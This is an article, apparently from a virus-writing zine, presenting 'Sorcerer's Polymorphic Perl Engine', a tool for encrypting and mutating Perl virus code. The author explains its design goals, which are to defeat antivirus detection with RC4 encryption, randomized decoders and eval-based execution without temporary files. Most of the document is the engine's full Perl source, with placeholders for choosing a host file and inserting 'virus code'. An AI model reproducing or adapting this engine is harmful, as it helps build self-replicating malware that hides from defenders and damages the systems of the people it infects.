 |
 |
|||||
 |
 |
 |
 |
 |
 |
|
 |
 |
 |
||||
SPPE:
Sorcerer`s Polymorphic Perl Engine
Sorcerer`s Polymorphic Perl Engine
by Sorcerer
SPPE: Sorcerer`s Polymorphic Perl Engine
========================================
Author : Sorcerer
I have been recently working on a polymorphic engine for Perl.
Even though this is just the first version has been quite effective.
When coding this I first wanted to make sure that I used a number of ideas that I have mentioned in a few of my other texts.
I wanted to make sure that I use a reasonable cipher that will take too much time for AV software to crack.
(Note that the polymorphic engine can be cracked by picking out the key and the enciphered code from the source.
My next version will include code that generates the key so that there is no obvious key to be found.)
Also I didn't want to use any garbage instructions as due to the complexity of the cipher used there is already over 100,000,000,000,000,000,000,000
possible decoders that can be produced by the engine so there is no need to increase this with garbage bytes.
Even if the variable names were fixed there would be over 60,000,000 possible decoders that could be generated.
The variable names used in the decoder are generated randomly but unlike other polymorphic engines I have seen coded in Perl
these variables are generated in such a way that each one is unique (while it is unlikely that two variables will be generated
with the same name you never want your decoder to fail because it was generated with two variables with the same name).
Also the target Perl script (Stored in the $target variable) is scanned and all the variable names in that are pulled out to
make sure that there is no clashes between those and the decoding code.
Now the heart of the polymorphic engine is the metalanguage rather than trying to generate a random encoder and decoder I
have a used a fixed cipher with a random key (the cipher I have used is rc4). The decoder that is used is coded in the
metalanguage and the actual Perl code is then generated from this. Each line of instruction in the metalanguage can generate
code in a number of forms. At the moment most instructions can only generate code in a couple of ways though it is easy to add more.
One of the most interesting aspects is that this code doesn't use any temporary files to run the code from.
The temporary files in the past have had to be used so that the polymorphic engines can access the deciphered versions of their code.
The removal of the temporary file is achieved through the use of eval function in Perl.
Once the code has been decoded the $_ variable is set to refer to the decoded code and then it is evaled.
This enables the engine to access its own code through the reference passed to it in $_;
This removes the need to create a temporary file to run the code from and the need for that file to open itself to
access its original code. Note that before the $_ value is set to reference the decoded code its value is stored in a variable
and the it is restored after the code has been evaluated.
There are a number of ideas that I have for the future of this engine.
I hope to increase the number of possible decoders that can be generated as well as generate a code to create the key thus
removing it from the decoder source and making it harder to detect the decoder. Also I hope to add a number of ways to break
up the large hex code in the decoder as this is also another easy heuristic to detect the possible presence of the decoder.
########### Start of SPPE ##########
#!/usr/bin/perl
use strict;
# Code Start
my $code='
#
# Sorcerer`s Polymorphic Perl Engine (SPPE)
# Version 1.0
#
# Put your code to choose a new host here. Set $target to be the host file that will be the new host.
my $target="CODE.pl";
my %vars;
open FILE, "<$target";
my $file=join("",<FILE>);
close FILE;
my $count=0;
$file=~s/[\$\%\@]([\w_]*)/$vars{$count++}=$1; $1/ge;
my @validChars= qw/A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 0/;
# Endcode the code
my $code=$$_;
my $codeL=length($code);
my $codeHL=length($code)*2;
my @key;
my $i;
for($i=0; $i<256;$i++)
{
$key[$i].=chr(int(rand(26))+ord("a"));
}
my $keyA=join(" ", @key);
my @SBox;
for(my $i=0; $i<256;$i++)
{
$SBox[$i]=$i;
}
my $j=0;
for ($i=0;$i<256;$i++)
{
$j=($j+$SBox[$i]+$key[$j]) % 256;
($SBox[$i],$SBox[$j])=($SBox[$j],$SBox[$i]);
}
my $tcode;
my $k;
for($k=0;$k<$codeL;$k++)
{
$i=($i+1)%256;
$j=($j+$SBox[$i])%256;
($SBox[$i],$SBox[$j])=($SBox[$j],$SBox[$i]);
$tcode.=substr($code,$k,1)^chr((($SBox[$i] + $SBox[$j])%256));
}
my $hexCode=unpack("H*", $tcode);
my $TEMPLATE=<<EOT;
VAR HCODE "$hexCode"
VAR CODE ""
VAR STASH ""
H2C CODE HCODE
VAR PCODE ""
DIM SBOX ()
DIM KBOX qw/$keyA/
VAR I 0
VAR J 0
VAR JT 0
VAR K 0
VAR C 0
FOR I 0 256
CPY SBOX[I] I
DONE
FOR I 0 256
CPY JT J
ADD JT SBOX[I]
ADD JT KBOX[J]
MOD JT 256
CPY J JT
CPY JT SBOX[J]
CPY SBOX[J] SBOX[I]
CPY SBOX[I] JT
DONE
FOR K 0 $codeL
ADD I 1
MOD I 256
ADD J SBOX[I]
MOD J 256
CPY JT SBOX[J]
CPY SBOX[J] SBOX[I]
CPY SBOX[I] JT
ADD JT SBOX[J]
MOD JT 256
GETC C CODE K
XOR C JT
PUTC PCODE C
DONE
EVAL PCODE STASH
EOT
my @lines=split /\n/, $TEMPLATE;
my $decoder;
my ($r, $op1, $op2, $op3);
foreach my $line (@lines)
{
$line=~s/\t+/\t/g;
if($line!~m/^#.*$/)
{
my @token=split /\t/, $line;
if($token[1]=~m/^\d+$/){$op1=$token[1];}
elsif($token[1]=~m/(.*)\[(\d+)\]/){$op1="\$$vars{$1}\[$2\]";}
elsif($token[1]=~m/(.*)\[(.*)\]/){$op1="\$$vars{$1}\[\$$vars{$2}\]";}
else{$op1="\$$vars{$token[1]}";}
if($token[2]=~m/\d+/){$op2=$token[2];}
elsif($token[2]=~m/(.*)\[(\d+)\]/){$op2="\$$vars{$1}\[$2\]";}
elsif($token[2]=~m/(.*)\[(.*)\]/){$op2="\$$vars{$1}\[\$$vars{$2}\]";}
else{$op2="\$$vars{$token[2]}";}
if($token[3]=~m/\d+/){$op3=$token[3];}
elsif($token[3]=~m/(.*)\[(\d+)\]/){$op3="\$$vars{$1}\[$2\]";}
elsif($token[3]=~m/(.*)\[(.*)\]/){$op3="\$$vars{$1}\[\$$vars{$2}\]";}
else{$op3="\$$vars{$token[3]}";}
if($token[0] eq "VAR")
{
my $newVar;
my $done;
while(!$done)
{
$done=1;
$newVar="";
my $newVarLength=int(rand(9))+1;
for(my $i=0; $i<$newVarLength; $i++)
{
$newVar.=$validChars[int(rand($#validChars))];
}
if($newVar=~m/^\d/)
{
$done=0;
}
foreach my $T (keys(%vars))
{
if($newVar eq $vars{$T})
{
$done=0;
}
}
}
$vars{$token[1]}=$newVar unless ($vars{$token[1]});
$r=int(rand(2));
if($r==0){$decoder.="my \$$vars{$token[1]}=$token[2];\n";} # Way 1
else{$decoder.="my \$$vars{$token[1]};\n\$$vars{$token[1]}=$token[2];\n";} # Way 2
}
elsif($token[0] eq "DIM")
{
my $newVar;
my $done;
while(!$done)
{
$done=1;
$newVar="";
my $newVarLength=int(rand(9))+1;
for(my $i=0; $i<$newVarLength; $i++)
{
$newVar.=$validChars[int(rand($#validChars))];
}
if($newVar=~m/^\d/)
{
$done=0;
}
foreach my $T (keys(%vars))
{
if($newVar eq $vars{$T})
{
$done=0;
}
}
}
$vars{$token[1]}=$newVar unless ($vars{$token[1]});
$r=int(rand(2));
if($r==0){$decoder.="my \@$vars{$token[1]}=$token[2];\n";} # Way 1
else{$decoder.="my \@$vars{$token[1]};\n\@$vars{$token[1]}=$token[2];\n";} # Way 2
}
elsif($token[0] eq "MOD")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1%=$op2;\n";} # Way 1
else{$decoder .= "$op1=$op1%$op2;\n";} # Way 2
}
elsif($token[0] eq "CPY")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=$op2;\n";} # Way 1
else{$decoder .= "\$_=$op2;\n$op1=\$_;\n";} # Way 2
}
elsif($token[0] eq "H2C")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=pack(\"H*\", $op2);\n";} # Way 1
else{$decoder .= "$op1=pack(\"H$codeHL\", $op2);\n";} # Way 2
}
elsif($token[0] eq "ADD")
{
$r=int(rand(3));
if($r==0){$decoder .= "$op1=$op1+$op2;\n";} # Way 1
elsif($r==1){$decoder .= "$op1=$op2+$op1;\n";} # Way 2
else{$decoder .= "$op1+=$op2;\n";} # Way 3
}
elsif($token[0] eq "SUB")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=$op1-$op2;\n";} # Way 1
else{$decoder .= "$op1-=$op2;\n";} # Way 3
}
elsif($token[0] eq "MUL")
{
$r=int(rand(3));
if($r==0){$decoder .= "$op1=$op1*$op2;\n";} # Way 1
elsif($r==1){$decoder .= "$op1=$op2*$op1;\n";} # Way 2
else{$decoder .= "$op1*=$op2;\n";} # Way 3
}
elsif($token[0] eq "DIV")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=$op1/$op2;\n";} # Way 1
else{$decoder .= "$op1/=$op2;\n";} # Way 3
}
elsif($token[0] eq "FOR")
{
$r=int(rand(6));
if($r==0){$decoder .= "for($op1=$op2;$op1<$op3;$op1=$op1+1){\n";} # Way 1
elsif($r==1){$decoder .= "$op1=$op2;for(;$op1<$op3;$op1=$op1+1){\n";} # Way 2
elsif($r==2){$decoder .= "for($op1=$op2;$op1<$op3;$op1++){\n";} # Way 3
elsif($r==3){$decoder .= "$op1=$op2;for(;$op1<$op3;$op1++){\n";} # Way 4
elsif($r==4){$decoder .= "for($op1=$op2;$op1<$op3;$op1+=1){\n";} # Way 5
else{$decoder .= "$op1=$op2;for(;$op1<$op3;$op1+=1){\n";} # Way 6
}
elsif($token[0] eq "DONE")
{
$decoder.="}\n";
}
elsif($token[0] eq "XOR")
{
$r=int(rand(2));
if($r==0){$decoder.="$op1=\"$op1\"^chr($op2);\n";} # Way 1
else{$decoder.="$op1=\"$op1\";\n$op1^=chr($op2);\n";} # Way 2
}
elsif($token[0] eq "LEN")
{
$r=int(rand(2));
if($r==0){$decoder.="$op1=length($op2);\n";} # Way 1
else{$decoder.="$op1=$codeL;\n";} # Way 2
}
elsif($token[0] eq "RAND")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=int(rand($op2));\n";} # Way 1
else {$decoder .= "$op1=rand($op2);\n$op1=int($op1);\n";} # Way 2
}
elsif($token[0] eq "GETC")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1=substr($op2,$op3,1);\n";} # Way 1
else{$decoder .= "$op1=substr(substr($op2,$op3,2),0,1);\n";} # Way 2
}
elsif($token[0] eq "PUTC")
{
$r=int(rand(2));
if($r==0){$decoder .= "$op1.=$op2;\n";} # Way 1
else {$decoder .= "$op1=\"$op1$op2\";\n";} # Way 2
}
elsif($token[0] eq "EVAL")
{
$r=int(rand(2));
$decoder .= "$op2=\$_;\n";
if($r==0){$decoder .= "\$_=\\\$op1;\neval($op1);\n";} # Way 1
else {$decoder .= "\$_=\\\$op1;\neval(\$\$_);\n"; } # Way 2
$decoder .= "\$_=$op2;\n";
}
}
}
# Replace this with the perl code that is to be protected by the
# polymorphic engine.
#
# The $decoder variable will contain the perl code that decodes and
# runs the code that goes here so you just need to write that to
# the target file
#
# print $decoder;
# Virus code goes here.
# Code end
#';
$_=\$code;
eval $code;